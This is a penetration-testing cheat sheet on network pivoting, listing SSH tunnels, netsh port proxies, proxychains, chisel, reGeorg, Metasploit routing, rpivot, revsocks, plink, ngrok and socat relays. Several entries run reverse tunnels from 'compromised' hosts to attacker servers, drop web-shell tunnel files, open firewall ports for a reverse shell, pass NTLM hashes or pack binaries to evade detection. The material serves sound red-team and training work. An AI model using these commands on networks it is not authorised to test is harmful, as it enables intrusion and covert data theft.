# Network Pivoting Techniques ## Summary * [SOCKS Compatibility Table](#socks-compatibility-table) * [Windows netsh Port Forwarding](#windows-netsh-port-forwarding) * [SSH](#ssh) * [SOCKS Proxy](#socks-proxy) * [Local Port Forwarding](#local-port-forwarding) * [Remote Port Forwarding](#remote-port-forwarding) * [Proxychains](#proxychains) * [Graftcp](#graftcp) * [Web SOCKS - reGeorg](#web-socks---regeorg) * [Web SOCKS - pivotnacci](#web-socks---pivotnacci) * [Metasploit](#metasploit) * [sshuttle](#sshuttle) * [chisel](#chisel) * [SharpChisel](#sharpchisel) * [gost](#gost) * [Rpivot](#rpivot) * [RevSocks](#revsocks) * [plink](#plink) * [ngrok](#ngrok) * [Capture a network trace with builtin tools](#capture-a-network-trace-with-builtin-tools) * [Basic Pivoting Types](#basic-pivoting-types) * [Listen - Listen](#listen---listen) * [Listen - Connect](#listen---connect) * [Connect - Connect](#connect---connect) * [References](#references) ## SOCKS Compatibility Table | SOCKS Version | TCP | UDP | IPv4 | IPv6 | Hostname | | ------------- | :---: | :---: | :---: | :---: | :---: | | SOCKS v4 | ✅ | ❌ | ✅ | ❌ | ❌ | | SOCKS v4a | ✅ | ❌ | ✅ | ❌ | ✅ | | SOCKS v5 | ✅ | ✅ | ✅ | ✅ | ✅ | ## Windows netsh Port Forwarding ```powershell netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110 # Forward the port 4545 for the reverse shell, and the 80 for the http server for example netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545 netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80 # Correctly open the port on the machine netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545 netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545 ``` 1. listenaddress – is a local IP address waiting for a connection. 2. listenport – local listening TCP port (the connection is waited on it). 3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected. 4. connectport – is a TCP port to which the connection from listenport is forwarded to. ## SSH ### SOCKS Proxy ```bash ssh -D8080 [user]@[host] ssh -N -f -D 9000 [user]@[host] -f : ssh in background -N : do not execute a remote command ``` Cool Tip : Konami SSH Port forwarding ```bash [ENTER] + [~C] -D 1090 ``` ### Local Port Forwarding ```bash ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host] ``` ### Remote Port Forwarding ```bash ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host] ssh -R 3389:10.1.1.224:3389 root@10.11.0.32 ``` ## Proxychains **Config file**: /etc/proxychains.conf ```bash [ProxyList] socks4 localhost 8080 ``` Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6` ## Graftcp > A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy. :warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications. ```ps1 # https://github.com/hmgle/graftcp # Create a SOCKS5, using Chisel or another tool and forward it through SSH (attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS (vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse (victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks # Run graftcp and specify the SOCKS5 (attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080 (attacker) $ graftcp ./nuclei -u http://172.16.1.24 ``` Simple configuration file for graftcp ```py # https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf ## Listen address (default ":2233") listen = :2233 loglevel = 1 ## SOCKS5 address (default "127.0.0.1:1080") socks5 = 127.0.0.1:1080 # socks5_username = SOCKS5USERNAME # socks5_password = SOCKS5PASSWORD ## Set the mode for select a proxy (default "auto") select_proxy_mode = auto ``` ## Web SOCKS - reGeorg [reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. Drop one of the following files on the server: - tunnel.ashx - tunnel.aspx - tunnel.js - tunnel.jsp - tunnel.nosocket.php - tunnel.php - tunnel.tomcat.5.jsp ```python python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080 optional arguments: -h, --help show this help message and exit -l , --listen-on The default listening address -p , --listen-port The default listening port -r , --read-buff Local read buffer, max data to be sent per POST -u , --url The url containing the tunnel script -v , --verbose Verbose output[INFO|DEBUG] ``` ## Web SOCKS - pivotnacci [pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents. ```powershell pip3 install pivotnacci pivotnacci https://domain.com/agent.php --password "s3cr3t" pivotnacci https://domain.com/agent.php --polling-interval 2000 ``` ## Metasploit ```powershell # Meterpreter list active port forwards portfwd list # Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell portfwd add –l 3389 –p 3389 –r target-host portfwd add -l 88 -p 88 -r 127.0.0.1 portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445 # Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell portfwd delete –l 3389 –p 3389 –r target-host # Meterpreter delete all port forwards portfwd flush or # Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0 run autoroute -s 192.168.15.0/24 use auxiliary/server/socks_proxy set SRVPORT 9090 set VERSION 4a # or use auxiliary/server/socks4a # (deprecated) # Meterpreter list all active routes run autoroute -p route #Meterpreter view available networks the compromised host can access # Meterpreter add route for 192.168.14.0/24 via Session number. route add 192.168.14.0 255.255.255.0 3 # Meterpreter delete route for 192.168.14.0/24 via Session number. route delete 192.168.14.0 255.255.255.0 3 # Meterpreter delete all routes route flush ``` ## Empire ```powershell (Empire) > socksproxyserver (Empire) > use module management/invoke_socksproxy (Empire) > set remoteHost 10.10.10.10 (Empire) > run ``` ## sshuttle Transparent proxy server that works as a poor man's VPN. Forwards over ssh. * Doesn't require admin. * Works with Linux and MacOS. * Supports DNS tunneling. ```powershell pacman -Sy sshuttle apt-get install sshuttle sshuttle -vvr user@10.10.10.10 10.1.1.0/24 sshuttle -vvr username@pivot_host 10.2.2.0/24 # using a private key $ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa" # -x == exclude some network to not transmit over the tunnel # -x x.x.x.x.x/24 ``` ## chisel ```powershell go get -v github.com/jpillora/chisel # forward port 389 and 88 to hacker computer user@hacker$ /opt/chisel/chisel server -p 8008 --reverse user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 # SOCKS user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks ``` ### SharpChisel A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel ```powershell user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com" ================================================================ server : run the Server Component of chisel -p 8080 : run server on port 8080 --key "private": use "private" string to seed the generation of a ECDSA public and private key pair --auth "user:pass" : Creds required to connect to the server --reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes. --proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight. user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks ``` ## Ligolo Ligolo : Reverse Tunneling made easy for pentesters, by pentesters 1. Build Ligolo ```powershell # Get Ligolo and dependencies cd `go env GOPATH`/src git clone https://github.com/sysdream/ligolo cd ligolo make dep # Generate self-signed TLS certificates (will be placed in the certs folder) make certs TLS_HOST=example.com make build-all ``` 2. Use Ligolo ```powershell # On your attack server. ./bin/localrelay_linux_amd64 # On the compromise host. ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555 ``` ## Gost > Wiki English : https://docs.ginuerzh.xyz/gost/en/ ```powershell git clone https://github.com/ginuerzh/gost cd gost/cmd/gost go build # Socks5 Proxy Server side: gost -L=socks5://:1080 Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true # Local Port Forward gost -L=tcp://:2222/192.168.1.1:22 [-F=..] ``` ## Rpivot Server (Attacker box) ```python python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0 ``` Client (Compromised box) ```python python client.py --server-ip --server-port 9443 ``` Through corporate proxy ```python python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ --ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e ``` Passing the hash ```python python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ --ntlm-proxy-port 8080 --domain CORP --username jdoe \ --hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE ``` ## revsocks ```powershell # Listen on the server and create a SOCKS 5 proxy on port 1080 user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234 # Connect client to the server user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10" ``` ```powershell # Build for Linux git clone https://github.com/kost/revsocks export GOPATH=~/go go get github.com/hashicorp/yamux go get github.com/armon/go-socks5 go get github.com/kost/go-ntlmssp go build go build -ldflags="-s -w" && upx --brute revsocks # Build for Windows go get github.com/hashicorp/yamux go get github.com/armon/go-socks5 go get github.com/kost/go-ntlmssp GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" go build -ldflags -H=windowsgui upx revsocks ``` ## plink ```powershell # exposes the SMB port of the machine in the port 445 of the SSH Server plink -l root -pw toor -R 445:127.0.0.1:445 # exposes the RDP port of the machine in the port 3390 of the SSH Server plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 plink -l root -pw mypassword 192.168.18.84 -R plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445 plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP] # redirects the Windows port 445 to Kali on port 22 plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185 ``` ## ngrok ```powershell # get the binary wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip unzip ngrok-stable-linux-amd64.zip # log into the service ./ngrok authtoken 3U[REDACTED_TOKEN]Hm # deploy a port forwarding for 4433 ./ngrok http 4433 ./ngrok tcp 4433 ``` ## cloudflared ```bash # Get the binary wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz tar xvzf cloudflared-stable-linux-amd64.tgz # Expose accessible internal service to the internet ./cloudflared tunnel --url ://: ``` ## Capture a network trace with builtin tools * Windows (netsh) ```ps1 # start a capture use the netsh command. netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384 # stop the trace netsh trace stop # Event tracing can be also used across a reboots netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384 # To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version. etl2pcapng.exe c:\trace.etl c:\trace.pcapng # Use filters netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384 ``` * Linux (tcpdump) ```ps1 sudo apt-get install tcpdump tcpdump -w 0001.pcap -i eth0 tcpdump -A -i eth0 # capture every TCP packet tcpdump -i eth0 tcp # capture everything on port 22 tcpdump -i eth0 port 22 ``` ## Basic Pivoting Types | Type | Use Case | | :------------- | :------------------------------------------ | | Listen - Listen | Exposed asset, may not want to connect out. | | Listen - Connect | Normal redirect. | | Connect - Connect | Can’t bind, so connect to bridge two hosts | ### Listen - Listen | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`| | socat | `socat -v tcp-listen:8080 tcp-listen:9090` | | remote host 1 | `ncat localhost 8080 < file` | | remote host 2 | `ncat localhost 9090 > newfile` | ### Listen - Connect | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` | | socat | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` | | remote host 1 | `ncat localhost -p 8080 < file` | | remote host 2 | `ncat -l -p 9090 > newfile` | ### Connect - Connect | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat localhost 8080 -c "ncat localhost 9090"` | | socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` | | remote host 1 | `ncat -l -p 8080 < file` | | remote host 2 | `ncat -l -p 9090 > newfile` | ## References * [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/) * [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences) * [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/) * [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/) * 🇫🇷 [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/) * [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49) * [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory) * [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)